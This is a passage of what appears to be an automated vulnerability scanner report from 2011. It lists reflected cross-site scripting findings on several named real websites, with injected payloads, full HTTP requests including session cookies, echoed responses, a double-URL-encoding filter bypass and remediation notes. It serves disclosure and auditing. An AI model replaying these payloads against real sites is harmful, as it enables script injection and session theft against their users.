The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab784"><script>alert(1)</script>de6cf7e9710 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /en/actualite/breves?ab784"><script>alert(1)</script>de6cf7e9710=1 HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:25:18 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web11; path=/ Cache-control: private
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <a href="/es/actualite/breves/?ab784"><script>alert(1)</script>de6cf7e9710=1"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26a86"><script>alert(1)</script>e4c5d77f49c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/actualite26a86"><script>alert(1)</script>e4c5d77f49c/breves/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072 HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 14:27:23 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web12; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <a href="/es/actualite26a86"><script>alert(1)</script>e4c5d77f49c/breves/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d466d"><script>alert(1)</script>bba68bdbca5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/actualite/brevesd466d"><script>alert(1)</script>bba68bdbca5/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072 HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 14:28:17 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web12; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <a href="/es/actualite/brevesd466d"><script>alert(1)</script>bba68bdbca5/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfb6e"><script>alert(1)</script>f1e290a806 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/actualite/breves/detaildfb6e"><script>alert(1)</script>f1e290a806/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072 HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 14:29:47 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web12; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <a href="/es/actualite/breves/detaildfb6e"><script>alert(1)</script>f1e290a806/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072"> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload c6ad4--><script>alert(1)</script>660f16bc18 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/actualite/breves/detailc6ad4--><script>alert(1)</script>660f16bc18/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072 HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 14:30:00 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web11; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <!-- /en/actualite/breves/ VS /en/actualite/breves/detailc6ad4--><script>alert(1)</script>660f16bc18/ => ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a93dd"><script>alert(1)</script>30c4832b29e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/actualite/breves/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072a93dd"><script>alert(1)</script>30c4832b29e HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Tue, 25 Jan 2011 14:30:43 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web10; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <a href="/es/actualite/breves/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072a93dd"><script>alert(1)</script>30c4832b29e"> ...[SNIP]...
4.524. http://www.barcelonaworldrace.org/en/actualite/breves/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f6fa"><script>alert(1)</script>9a2d7a57ebb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/actualite/breves/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072?9f6fa"><script>alert(1)</script>9a2d7a57ebb=1 HTTP/1.1 Host: www.barcelonaworldrace.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 14:24:56 GMT Server: Apache Connection: close Content-Type: text/html Set-Cookie: SERVERID=iom-web11; path=/ Cache-control: private
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
<!-- inclusion de la gestion des channel ...[SNIP]... <a href="/es/actualite/breves/detail/an-explanation-from-jp-estrella-damm-ready-to-pounce-0-8072?9f6fa"><script>alert(1)</script>9a2d7a57ebb=1"> ...[SNIP]...
4.525. http://www.barelyfitz.com/projects/tabber/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.barelyfitz.com
Path:
/projects/tabber/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9944f"><script>alert(1)</script>7b6d4f5683e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9944f\"><script>alert(1)</script>7b6d4f5683e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /projects/tabber/?9944f"><script>alert(1)</script>7b6d4f5683e=1 HTTP/1.1 Host: www.barelyfitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:24:45 GMT Server: Apache X-Powered-By: PHP/4.4.1 Connection: close Content-Type: text/html Content-Length: 14864
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML LANG="en"> <HEAD>
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 21cfa'-alert(1)-'b99422c7d12 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Hotels21cfa'-alert(1)-'b99422c7d12/2-Stars/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:36:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60496
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Hotels21cfa'-alert(1)-'b99422c7d12/2-Stars'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 884f8"><a>37626885d13 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Hotels884f8"><a>37626885d13/2-Stars/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:28:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60580
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Hotels884f8"><a>37626885d13"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6b10e'-alert(1)-'147c9ee25a1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Hotels/2-Stars6b10e'-alert(1)-'147c9ee25a1/2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:40:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54660
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Hotels/2-Stars6b10e'-alert(1)-'147c9ee25a1'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9cdd7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e214f7752b93 was submitted in the REST URL parameter 3. This input was echoed as 9cdd7"><script>alert(1)</script>214f7752b93 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Hotels/2-Stars/29cdd7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e214f7752b93 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:44:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54947
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=blue&indexpage=Hotels&listingtype=locales.php&Types=29cdd7"><script>alert(1)</script>214f7752b93"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e6f9'-alert(1)-'4c62994d9f5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Hotels9e6f9'-alert(1)-'4c62994d9f5/3-Stars/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:35:43 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60471
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Hotels9e6f9'-alert(1)-'4c62994d9f5/3-Stars'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98463"><a>f5026478805 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Hotels98463"><a>f5026478805/3-Stars/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:27:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60461
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Hotels98463"><a>f5026478805"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af8c8'-alert(1)-'c8e69a03a5e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Hotels/3-Starsaf8c8'-alert(1)-'c8e69a03a5e/3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:43:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60360
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Hotels/3-Starsaf8c8'-alert(1)-'c8e69a03a5e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6bf1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e397b3f7e710 was submitted in the REST URL parameter 3. This input was echoed as e6bf1"><script>alert(1)</script>397b3f7e710 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Hotels/3-Stars/3e6bf1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e397b3f7e710 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:49:16 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54993
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_right" rel="facebox" href="/submitaListing.php?randstyle=green&indexpage=Hotels&listingtype=locales.php&Types=3e6bf1"><script>alert(1)</script>397b3f7e710"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d4223'-alert(1)-'ec523ff8242 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Hotelsd4223'-alert(1)-'ec523ff8242/4-Stars/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:37:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60480
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Hotelsd4223'-alert(1)-'ec523ff8242/4-Stars'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ee6a"><a>0a6867e450c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Hotels3ee6a"><a>0a6867e450c/4-Stars/4 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
